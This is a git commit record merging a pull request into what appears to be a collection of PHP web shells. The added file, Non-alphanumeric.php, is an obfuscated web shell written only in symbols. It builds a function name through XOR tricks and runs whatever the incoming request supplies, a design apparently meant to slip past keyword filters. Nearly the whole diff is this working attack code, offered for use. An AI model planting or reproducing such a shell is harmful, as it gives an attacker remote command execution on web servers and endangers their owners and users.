Merge pull request JohnTroony#3 from yuyuvn/master

Add non-alphanumbric shell to the collection.

Author: John Troony

Non-alphanumeric.php

@@ -0,0 +1,11 @@
+
+
+$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;@$_[((++$__)+($__++ ))].=$_;
+$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
+$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
+$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
+$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
+$_=$ 
+$_[$__+ $__] ;$_[@-_]($_[@!+_] );
+ 
+?>